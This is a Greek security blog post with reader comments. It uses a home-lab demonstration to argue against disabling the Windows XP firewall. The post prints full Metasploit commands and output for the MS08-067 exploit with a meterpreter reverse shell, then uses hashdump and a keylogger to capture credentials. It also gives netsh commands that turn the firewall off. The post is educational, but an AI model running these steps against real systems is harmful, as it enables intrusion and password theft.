Το προφίλ μας στο Google Plus
7

Συνδυασμένες επιθέσεις: Autoscan και Metasploit!

Ένα από τα διασκεδαστικά παιχνίδια του γράφοντα, το οποίο κατά ένα ποσοστό εντάσσεται στο γνωστό σπορ του Social Engineering, είναι να παρουσιάζεται ως εντελώς noob γύρω από υπολογιστές κι ασφάλεια και να προσπαθεί να συμμετέχει σε κουβέντες ως ο καλός μαθητής. Οι κουβέντες αυτές συμβαίνουν σε γνωστά στέκια που συχνάζουν “ειδικοί” σε υπολογιστές και ασφάλεια, όπως, ας πούμε, σε μεγάλα net cafe!

Μια τέτοια πολύ ενδιαφέρουσα κουβέντα έλαβε χώρα σε γνωστό net cafe των Αθηνών. Η ιστορία έχει ως εξής. Πάω στο γνωστό net cafe με το laptop παραμάσχαλα κι αφού περνάω τα διαδικαστικά (ξέρετε, ψάχνω αν έχει άδεια θέση για laptop, ενημερώνω τον admin κ.λπ.), μαζί μ’ όλα τ’ άλλα που ήθελα να κάνω, λέω, δεν δοκιμάζω και το Second Life; Το κατεβάζω, λοιπόν, και προσπαθώ να συνδεθώ. Μάταια. Κατά τη σύνδεση τρώω ένα περίεργο μήνυμα λάθους, το οποίο αναφέρει πρόβλημα σε κάποιον DNS server. Σκέφτομαι: Για να κλείσω το Windows Firewall, μπας και φταίει αυτό… Πράγματι, αφού το έκλεισα η σύνδεση έγινε κανονικά. Το Firewall ήταν που δεν επέτρεπε στο πρόγραμμα του Second Life να συνδεθεί. Ωραία. Ενεργοποιώ πάλι το Firewall και πάω να δημιουργήσω ένα exception rule, το οποίο ουσιαστικά θα επέτρεπε στο πρόγραμμα να τρέχει ανεμπόδιστα. Στο μεταξύ, όλη αυτή την ώρα με παρακολουθεί το άγρυπνο βλέμμα του admin. Κάποια στιγμή με πλησιάζει δειλά-δειλά και μου λέει…

Admin: Συγνώμη κύριε, αλλά αυτό το Firewall όλο προβλήματα δημιουργεί. Γιατί δεν το απενεργοποιείτε;

Thiseas: Λέτε;! Ίσως θα ‘πρεπε να το κάνω… Αλλά έτσι ήταν αυτό το μαραφέτι από τη στιγμή που αγόρασα τον υπολογιστή κι είπα να μην το απενεργοποιήσω, μήπως και το χαλάσω!

A: Όχι, όχι. Δεν ισχύει κάτι τέτοιο. Εκτός από το ό,τι σας καθυστερεί όταν σερφάρετε, σας δημιουργεί και περιττά προβλήματα, όπως αυτό που αντιμετωπίσατε πριν λίγο…

T: Ναι, άλλα τι να κάνω; Αν το απενεργοποιήσω θα ‘μαι εκτεθειμένος σε διάφορους χάκερς! Έτσι δεν είναι;

A: Χαχα, όχι βέβαια! Αρκεί να βάλετε ένα πολύ καλό anti-virus και anti-malware και θα ‘στε ήσυχος. Αυτό έχω κάνει κι εγώ, εδώ στο net. Έχω κλειστό το Windows Firewall. Πριν; Δεν έτρεχε τίποτε! Τώρα; Τρέχουν όλα!

T: Α, OK, ίσως έχετε δίκιο. Εσείς μάλλον θα ξέρετε καλύτερα…

A: Ε, ναι! Άκου με που σου λέω! (το γύρισε στον ενικό τώρα, μιας που γίναμε κολλητοί!) Τρία χρόνια τώρα δεν μου την έχει πέσει κανείς. Μόνο κάτι ψιλοπροβληματάκια στη σύνδεση, κι αυτά μερικές φορές. Αλλά σίγουρα γι’ αυτά θα φταίει ο ΟΤΕ!

T: Α; Έτσι; Ωραία, θα το απενεργοποιήσω κι εγώ τότε. Ευχαριστώ!

A: Τίποτα φίλε μου, να ‘σαι καλά. Κι ό,τι θες, εδώ είμαι!

Όπως ήδη υποψιαστήκατε, στο παρόν άρθρο θ’ αποδείξουμε πόσο τραγικό λάθος είναι να κάνουμε ό,τι κι ο κύριος Admin του net cafe. Μία παράπλευρη απώλεια της δημοσίευσης του παρόντος είναι ότι δεν θα πατήσω, πλέον, πόδι σ’ αυτό το net cafe. Αλλά αυτό λίγη σημασία έχει.

Στην πράξη, θα στήσουμε ένα σπιτικό εργαστήριο για ν’ αποδείξουμε πόσο εύκολα μπορούμε να “τρυπήσουμε” την ασφάλεια ενός box με Windows XP SP2 *χωρίς* ενεργοποιημένο το Firewall, εφοδιασμένο, ωστόσο, μ’ ένα καλό αντί-ιϊκό που βρίσκει malware, keyloggers κ.λπ. Για τις ανάγκες των δοκιμών μας χρησιμοποιήσαμε το Kaspersky AntiVirus, της Kaspersky Lab. Θα προσπαθήσουμε, ορμώμενοι από ένα box με BackTrack 4 Pre-Final, να επιτεθούμε στο εν λόγω Windows box. Ακολουθώντας τη συμβουλή του κου admin, βεβαιωνόμαστε ότι το Windows Firewall είναι απενεργοποιημένο, μιας και σύμφωνα με τη συλλογιστική του δεν προσφέρει τίποτε απολύτως (βλ. εικόνα 1).

Εικόνα 1: Απενεργοποίηση του Windows Firewall από το Command Prompt...

Όπως βλέπετε, το Firewall το απενεργοποιήσαμε από τη γραμμή εντολών, πληκτρολογώντας

netsh firewall set opmode disable

Το ίδιο μπορεί να γίνει και στα Vista, αν και η εντολή εκεί διαφέρει λιγάκι:

netsh advfirewall set currentprofile state off

Το καλό όμως στα Vista -και σε αντίθεση με τα XP-, είναι ότι η παραπάνω εντολή χρειάζεται να τρέξει σε Administrative mode. Μ’ άλλα λόγια, απαιτεί Command Shell με δικαιώματα administration.

Η επίθεση
Ξεκινάμε με το πρώτο βήμα που κάνει κάθε επιτιθέμενος που σέβεται τον εαυτό του: Αρχίζει μ’ έναν καλό scanner για να δει τι βρίσκεται στον περίγυρο. Ένα νέο πρόγραμμα που έχει εισαχθεί στο BackTrack Linux 4 και είναι κατάλληλο γι’ αυτή την δουλειά είναι το AutoScan Network (βλ. εικόνα 2).

Εικόνα 2: Το πρώτο βήμα κάθε επίθεσης είναι η αναγνώριση του περιβάλλοντος χώρου. Το AutoScan Network στο BackTrack Linux 4 είναι ό,τι πρέπει για τέτοιες αποστολές!

Πρόκειται για έναν port scanner που ελάχιστη συμμετοχή απαιτεί από πλευράς χρήστη και, απ’ ό,τι βλέπετε, παρέχει πλήρη πληροφόρηση. Καλούμε το πρόγραμμα δίνοντας Backtrack –> Network mapping –> Port scanning –> Autoscan. Μόλις ξεκινήσει εμφανίζεται ένας οδηγός ο οποίος μας ρωτά κάποιες πληροφορίες για το τι ακριβώς θέλουμε να ελέγξουμε. Στην αρχή μάς πληροφορεί ότι αυτός ο οδηγός θα προσθέσει ένα network στη λίστα του: είναι το τοπικό δίκτυο στο οποίο βρισκόμαστε! Μόλις πατήσουμε Forward ζητά να δώσουμε στο δίκτυο αυτό ένα όνομα. Θα είναι αυτό που θα εμφανίζεται κάτω αριστερά στη φόρμα μας. Το πρόγραμμα αναζητά όνομα διότι έχει τη δυνατότητα να ελέγχει πολλά δίκτυα μαζί, οπότε μπορούμε να δώσουμε σε καθένα το δικό του όνομα, ώστε να το ξεχωρίζουμε εύκολα. Εμείς αφήσαμε τη default επιλογή, δηλαδή “Local Network”. Είναι αυτή που βλέπετε στην εικόνα 2. Μόλις πατήσουμε το Forward προχωράμε στην επόμενη οθόνη. Εδώ δηλώνουμε πού βρίσκεται το δίκτυο το οποίο θα ελεγχθεί. Μπορούμε να δώσουμε την τοπική IP μας (localhost). Τότε, θα ελεγχθεί το δίκτυο εκείνο μέσα στο οποίο βρίσκεται το box μας. Μπορούμε, ακόμα, να δώσουμε τη διεύθυνση ενός server στο Διαδίκτυο, για το λεγόμενο remote scanning. Εμείς επιλέξαμε localhost, για το LAN μας. Πατώντας Forward μάς ζητείται το network interface το οποίο θα χρησιμοποιηθεί για την αναζήτηση. Αφήσαμε το default – στην περίπτωση μας το eth0. Όσοι χρησιμοποιούν κάρτα ασύρματης δικτύωσης πιθανόν να δουν κάτι σαν wlan0. Αμέσως μετά βγαίνει η τελευταία φόρμα, η οποία μάς δείχνει τις πληροφορίες που επιλέξαμε και μας παροτρύνει να πατήσουμε Forward, ώστε ν’ αρχίσει ο έλεγχος. Μετά από λίγα λεπτά θα ‘χουμε τ’ αποτελέσματα (βλ. εικόνα 2).

Βλέπουμε, λοιπόν, ότι βρισκόμαστε σε ένα δίκτυο με δύο boxes (εκτός του δικού μας) κι ενός router (το dsldevice). Το δικό μας box αναγνωρίστηκε ως workstation με IP 192.168.1.70. Αν επιλέξουμε το XPBOX θα δούμε, στο δεξί μέρος της φόρμας, πολύ συγκεκριμένες πληροφορίες, όπως το IP, το MAC Address κ.λπ. Μια άλλη ενδιαφέρουσα πληροφορία είναι οι ανοιχτές θύρες. Το AutoScan Network πραγματοποιεί port scanning, δικαιολογώντας την παρουσία του στην αντίστοιχη κατηγορία προγραμμάτων.

Όπως είπαμε στην αρχή, ο στόχος μας είναι το XPBOX, για το οποίο μέχρι στιγμής έχουμε συλλέξει λίγα αλλά σημαντικά στοιχεία. Βλέπουμε ότι έχει ανοιχτές τρεις βασικές θύρες, από τις οποίες “ακούνε” τρεις βασικές υπηρεσίες (services) των Windows XP.

MSRPC: Microsoft Remote Procedure Calls, στη θύρα 137. Πρόκειται για την τεχνολογία εκείνη που επιτρέπει στον προγραμματιστή να καλέσει από το πρόγραμμά του ένα άλλο υποπρόγραμμα, το οποίο δεν βρίσκεται στο ίδιο box με το τρέχον πρόγραμμα (ακριβέστερα, δεν βρίσκεται στο ίδιο address space με το πρόγραμμα που το κάλεσε).
NetBiosSSN: Net Bios Session Service, στη θύρα 139. Είν’ ένα πρόγραμμα που μας βοηθά να επικοινωνούμε με τον έξω κόσμο ή τον έξω κόσμο να επικοινωνεί μ’ εμάς, δηλαδή το box μας. Είτε για καλό είτε για κακό…
Microsoft-ds: SMB (Server Message Block) πάνω από IP, στη θύρα 445. Το πρόγραμμα αυτό χρησιμοποιείται για να επιτρέπει διαμοιρασμό των διαφόρων πόρων (αρχεία, εκτυπωτές κ.λπ) ενός υπολογιστή σε άλλους. Επίσης, μπορεί να χρησιμοποιηθεί για ανταλλαγές δεδομένων μεταξύ υπολογιστών.

Εικόνα 3: Η γνωστή υπερπλατφόρμα που χρησιμοποιήσαμε για την επίθεση! Δεν πιστεύουμε να 'χετε βαρεθεί να τη βλέπετε, ε; :)

Ήρθε όμως η ώρα την επίθεσης. Θα χρησιμοποιήσουμε ένα εργαλείο, κορυφή! Ένα πρόγραμμα που πολλοί αγάπησαν και πολλοί μίσησαν. Το αγάπησαν διότι έκανε άλλοτε χρονοβόρες διαδικασίες να ολοκληρώνονται σε μερικά λεπτά, καθώς κι εντελώς ασύμβατες ενέργειες να μοιάζουν μέρη μιας ομαλής ακολουθίας. Από την άλλη μεριά όμως κάποιοι το μίσησαν, διότι έκανε “χάκερς” κάποιους που δεν άξιζαν ούτε καν να λέγονται advanced users. Ο λόγος γίνεται για το Metasploit Framework.

Στο BackTrack 4 είναι εγκατεστημένη η νεότατη έκδοση 3.3 του Metasploit. Για να καταλάβατε πόσο καινούρια είναι, να πούμε ότι τη στιγμή που γράφονται αυτές οι γραμμές (Σάββατο, 26 Σεπτ., 2009, 22:03), από το επίσημο site του Metsploit μπορείς να κατεβάσεις την έκδοση 3.2 (εικόνα 3)!

Θα χρησιμοποιήσουμε το γνωστό και μη εξαιρετέο exploit ms08_067_netapi. Η αντίστοιχη αδυναμία εντοπίζεται στη βιβλιοθήκη NetAPI32.dll, μέσω της οποίας ο επιτιθέμενος μπορεί να εκτελέσει εντολές στο λειτουργικό σύστημα του θύματος. Ας δούμε όμως το exploit στην πράξη.

Ξεκινάμε το Metasploit από command line ακολουθώντας τη διαδρομή BackTrack menu (κάτω αριστερά) –> BackTrack –> Penetration –> Framework version 3 –> msfconsole. Εκτελούμε την επίθεση όπως φαίνεται στην εικόνα 4…

Εικόνα 4: Μια πετυχημένη επίθεση, σε πλήρη εξέλιξη!

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set rhost 192.168.1.69
rhost => 192.168.1.69
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.1.70
lhost => 192.168.1.70
msf exploit(ms08_067_netapi) > exploit

Στη γραμμή 1 επιλέγουμε το υπό συζήτηση exploit. Στη 2 ορίζουμε την IP του θύματος. Στην 4 επιλέγουμε το payload, δηλαδή ποιο πρόγραμμα θα τρέξει στο θύμα μόλις πετύχει το exploit. Στη γραμμή 6 δίνουμε την IP του δικού μας box. Στη γραμμή 7 εξαπολύουμε την επίθεση! Το Metasploit μάς απαντάει με τα εξής:

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.70:4444 -> 192.168.1.69:1248)

Δώστε βάση στην τελευταία γραμμή, όπου αναφέρεται η δημιουργία μιας σύνδεσης μεταξύ εμάς (192.168.1.70, θύρα 4444) και του στόχου μας (192.168.1.69, θύρα 1248).

Αν πάμε τώρα στα Windows και τρέξουμε το netstat, θα δούμε κάτι σαν την εικόνα 5.

Εικόνα 5: Ο επιτιθέμενος έχει εγκαθιδρύσει μια σύνδεση στο μηχάνημα-στόχο!

Να πούμε πως όλη αυτήν την ώρα είναι ενεργοποιημένο το anti-virus, το οποίο (φυσικά) δεν έβγαλε ούτε ένα “κιχ”. Άλλωστε δεν το αφορά τι γίνεται με τις θύρες! Αυτή είναι δουλειά ενός Firewall, το οποίο, παρεμπιπτόντως, στην περίπτωσή μας -αλλά και σύμφωνα με τις προτροπές κάποιων “υπεύθυνων” ασφαλείας σε άλλες περιπτώσεις- είναι απενεργοποιημένο!

Ας έρθουμε τώρα να δούμε τι μπορούμε να κάνουμε με το connection που ανοίξαμε. Τα παρακάτω είναι το ελάχιστο που μπορούμε να καταφέρουμε στο ήδη αλωμένο box:

meterpreter > hashdump
Administrator:500:a2660bxxxc9096:49a18e7xxxe420bc56443992f:::
Guest:501:aad3b43xxx5b51404ee:31d6cfexxxc59d7e0c089c0:::
HelpAssistant:1000:79c452cbxxx29ced03ac:7ae82165axxxb4f962c5d5:::
SUPPORT_388945a0:1002:aad3b43xxx5b51404ee:00519f8dbxxx0821b85:::
Thiseas:1003:aad3b435xxx5b51404ee:31d6cxxx0c089c0:::
	
meterpreter > ps
	
Process list
============
	
PID   Name          Path
---   ----          ----
304   ctfmon.exe    C:\WINDOWS\system32\ctfmon.exe
336   svchost.exe   C:\WINDOWS\System32\svchost.exe
	 		...
1552  svchost.exe   C:\WINDOWS\system32\svchost.exe
1764  Explorer.EXE  C:\WINDOWS\Explorer.EXE
2008  spoolsv.exe   C:\WINDOWS\system32\spoolsv.exe
	
meterpreter > migrate 1764
[*] Migrating to 1764...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
http://www.hy <Back> ah <Back>  <Back>  <Back> yahoo.gr <Return> alphabeta@yahoo.gr <Back>  <Back>  <Back>  <Back>  <Back>  <Back>  <Back>  <Back>  <Back>  <Back>  <Back> alphamail <Tab> pass1xyzGTS <Return>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >   

Στην γραμμή 1 εμφανίζουμε το αρχείο με τους κωδικούς και τα κρυπτογραφημένα passwords του απομακρυσμένου συστήματος. Εδώ απλά χρειαζόμαστε έναν… john για να τα “σπάσει”!

Στη γραμμή 8 εμφανίζουμε όλα τα processes στον υπολογιστή του θύματος. Παρατηρήστε το process 1764. Πρόκειται για το το περιβάλλον του ίδιου του λειτουργικού συστήματος: Τα παράθυρα, οι οθόνες εισαγωγής και γενικά ό,τι βλέπει ο χρήστης!

Στη γραμμή 22 συνδεόμαστε σ’ αυτό το process. Αυτό το κάναμε για να πραγματοποιήσουμε έναν εντελώς νέο τρόπο επίθεσης που εισάγει το Metasploit, με χρήση keylogger! Αφού συνδεθούμε με το process του περιβάλλοντος του χρήστη (το 1764), ξεκινάμε το sniffing (γραμμή 25) και περιμένουμε. Μετά από λίγο κάνουμε dump ό,τι δεδομένα ψαρέψαμε από τον sniffer μας (γραμμή 27). Βλέπουμε, στη γραμμή 29, μια απόπειρα εισαγωγής του θύματος στο mail του… Επίσης, βλέπουμε και το password του και γενικά ό,τι πλήκτρο πατάει. Να ξανα-ματα-πούμε οτι το anti-virus δεν διαμαρτυρήθηκε, ακόμα και με την ενεργοποίηση του keylogger, ο οποίος υποτίθεται πως είναι μια από τις ειδικότητές του! Στη γραμμή 30 σταματάμε τον keylogger και κάνουμε ένα διάλειμμα.

Ας δούμε τώρα κάτι άλλο. Ας ενεργοποιήσουμε το Firewall στα XP κι ας προσπαθήσουμε να επαναλάβουμε την επίθεση. Πάμε πάλι στα XP κι από το Command Prompt δίνουμε τη εντολή ενεργοποίησης:

 
netsh firewall set opmode enable 

Ακολούθως πραγματοποιούμε την επίθεση, ξανά από το BackTrack. Το Metasploit προσπαθεί…

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[-] Exploit failed: The connection timed out (192.168.1.69:445).
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >      

Οι γραμμές 3 και 4 αποτελούν έμπρακτη απάντηση στον κύριο admin του net-cafe, για το πόσο χρήσιμο είναι ακόμα και το “φτωχό” Firewall των Windows XP :D

7 Responses to “Συνδυασμένες επιθέσεις: Autoscan και Metasploit!”

  1. giwrg98 | 21/09/2011 at 13:40

    Αυτοί οι κωδικοί δλδ είναι κωδικοποιημένοι;

  2. ^^TnT^^ | 21/09/2011 at 13:41

    αααχχχ αυτός ο John :)

  3. acoundexist | 22/09/2011 at 03:22

    Athanatos aftos o giannhs!!! ;P

  4. acoundexist | 22/09/2011 at 03:24

    Ωχ.. Ξεχάστηκα και το γραψα σε “greeklish” :D. Η δύναμη της συνήθειας!!!

  5. Simos | 12/10/2011 at 05:54

    Μια μικρή διόρθωση: οι κωδικοί στο Linux δεν είναι κρυπτογραφημένοι, αλλά hashed (salted and hashed για την ακρίβεια – δεν ξέρω την ακριβή μετάφραση).

  6. stath3000 | 06/08/2013 at 15:54

    Γεια σας είμαι νέος στον τομέα του social engyniring και δοκιμάζω αυτή την επίθεση σε windows 8 είναι λογικό που δεν πετυχαίνει ή κάνω κάτι λάθος????

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων